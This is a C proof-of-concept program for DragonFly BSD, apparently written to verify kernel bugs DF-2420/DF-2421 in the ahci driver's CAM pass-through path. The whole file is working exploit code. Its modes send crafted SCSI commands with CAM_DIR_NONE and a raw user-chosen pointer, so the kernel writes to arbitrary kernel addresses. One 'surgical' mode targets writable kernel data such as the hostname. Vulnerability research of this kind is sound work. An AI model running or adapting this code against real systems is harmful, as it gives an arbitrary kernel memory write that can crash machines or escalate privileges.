DF-2421 / ahcipoc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 | /* * ahcipoc.c - CAM pass-through trigger for DF-2420 / DF-2421 verification * on the ahci(4) driver (DragonFly 6.5-DEVELOPMENT guest). * * Builds against the guest's own kernel CAM headers: * cc -O -I/usr/src/sys -I/usr/src/sys/bus -o ahcipoc ahcipoc.c * * Modes (all issue a CAMIOCOMMAND XPT_SCSI_IO through the pass(4) device): * inquiry-null INQUIRY, CAM_DIR_NONE, data_ptr = NULL * inquiry-addr <hex> INQUIRY, CAM_DIR_NONE, data_ptr = <hex> (kernel VA) * readcap-addr <hex> [len] READ_CAPACITY, CAM_DIR_NONE, data_ptr = <hex> * evpd-addr <hex> INQUIRY EVPD page 0x80, CAM_DIR_NONE, data_ptr=<hex> * surgical <hex> [len] INQUIRY, CAM_DIR_NONE, data_ptr = <hex> (writable * kernel target, e.g. hostname+off; verify via sysctl) * read10 normal READ_10, CAM_DIR_IN, mapped user buffer * (used with the DF-2420 free-list drain rig) * atapi <cdbhex...> CCB to an ATAPI pass device (DF-2420 atapi_io path) * * DF-2421 mechanism (sys/bus/cam/scsi/scsi_pass.c:565-568, * sys/bus/cam/cam_periph.c:677): a CAM_DIR_NONE XPT_SCSI_IO is NEVER run * through cam_periph_mapmem(), so csio->data_ptr is passed to the SIM * verbatim. ahci_xpt_scsi_disk_io() (sys/dev/disk/ahci/ahci_cam.c:1083, * :1109/:1159/:1693) bzero()s and fills that raw pointer in kernel context. */ #include <sys/types.h> #include <sys/ioctl.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <cam/cam.h> #include <cam/cam_ccb.h> #include <cam/scsi/scsi_pass.h> static int devfd; static void send_ccb(union ccb *ccb, const char *what) { int error; error = ioctl(devfd, CAMIOCOMMAND, ccb); /* if the kernel panics we never get here */ if (error) warn("CAMIOCOMMAND(%s) returned error", what); printf("%s: ioctl=%d ccb_h.status=0x%x cam_status=0x%x scsi_status=0x%x\n", what, error, ccb->ccb_h.status, ccb->ccb_h.status & CAM_STATUS_MASK, ccb->csio.scsi_status); } static void build_io(union ccb *ccb, u_int8_t *cdb, int cdb_len, u_int8_t *data_ptr, u_int32_t dxfer_len, u_int32_t camflags) { memset(ccb, 0, sizeof(*ccb)); ccb->ccb_h.func_code = XPT_SCSI_IO; ccb->ccb_h.flags = camflags; /* CAM_DIR_NONE etc. */ ccb->ccb_h.retry_count = 1; ccb->ccb_h.timeout = 30 * 1000; ccb->csio.cdb_len = cdb_len; memcpy(ccb->csio.cdb_io.cdb_bytes, cdb, cdb_len); ccb->csio.data_ptr = data_ptr; ccb->csio.dxfer_len = dxfer_len; ccb->csio.sense_len = sizeof(ccb->csio.sense_data); } int main(int argc, char **argv) { union ccb ccb; u_int8_t cdb[16]; u_int8_t buf[4096]; const char *dev = "/dev/pass0"; int argi = 1; if (argc > 2 && !strcmp(argv[1], "-d")) { dev = argv[2]; argi = 3; } if (argi >= argc) errx(2, "usage: %s [-d passdev] <mode> [args]", argv[0]); devfd = open(dev, O_RDWR); if (devfd < 0) err(1, "open %s", dev); printf("ahcipoc: device %s pid %d\n", dev, getpid()); memset(cdb, 0, sizeof(cdb)); memset(buf, 0, sizeof(buf)); if (!strcmp(argv[argi], "inquiry-null")) { cdb[0] = 0x12; cdb[4] = 36; /* INQUIRY */ build_io(&ccb, cdb, 6, NULL, 36, CAM_DIR_NONE); send_ccb(&ccb, "inquiry-null"); } else if (!strcmp(argv[argi], "inquiry-addr")) { u_int8_t *addr = (u_int8_t *)strtoull(argv[argi+1], NULL, 16); cdb[0] = 0x12; cdb[4] = 36; build_io(&ccb, cdb, 6, addr, 36, CAM_DIR_NONE); printf("target kernel VA %p\n", addr); send_ccb(&ccb, "inquiry-addr"); } else if (!strcmp(argv[argi], "readcap-addr")) { u_int8_t *addr = (u_int8_t *)strtoull(argv[argi+1], NULL, 16); u_int32_t len = (argi+2 < argc) ? strtoul(argv[argi+2], NULL, 0) : 8; if (len < 8) len = 8; cdb[0] = 0x25; /* READ_CAPACITY */ build_io(&ccb, cdb, 10, addr, len, CAM_DIR_NONE); printf("target kernel VA %p len %u\n", addr, len); send_ccb(&ccb, "readcap-addr"); } else if (!strcmp(argv[argi], "evpd-addr")) { u_int8_t *addr = (u_int8_t *)strtoull(argv[argi+1], NULL, 16); cdb[0] = 0x12; cdb[1] = 0x01; cdb[2] = 0x80; cdb[4] = 32; build_io(&ccb, cdb, 6, addr, 32, CAM_DIR_NONE); printf("target kernel VA %p (VPD page 0x80)\n", addr); send_ccb(&ccb, "evpd-addr"); } else if (!strcmp(argv[argi], "surgical")) { u_int8_t *addr = (u_int8_t *)strtoull(argv[argi+1], NULL, 16); u_int32_t len = (argi+2 < argc) ? strtoul(argv[argi+2], NULL, 0) : 36; cdb[0] = 0x12; cdb[4] = 0xff & len; build_io(&ccb, cdb, 6, addr, len, CAM_DIR_NONE); printf("surgical: zeroing %u bytes at kernel VA %p\n", len, addr); send_ccb(&ccb, "surgical"); } else if (!strcmp(argv[argi], "read10")) { cdb[0] = 0x28; cdb[8] = 1; /* READ_10 1 sector */ build_io(&ccb, cdb, 10, buf, 512, CAM_DIR_IN); send_ccb(&ccb, "read10"); } else if (!strcmp(argv[argi], "atapi")) { int n = 0; for (argi++; argi < argc && n < 16; argi++, n++) cdb[n] = strtoul(argv[argi], NULL, 16); if (n < 6) errx(2, "atapi: need at least 6 cdb bytes"); build_io(&ccb, cdb, n, buf, 512, CAM_DIR_IN); send_ccb(&ccb, "atapi"); } else { errx(2, "unknown mode %s", argv[argi]); } return (0); } |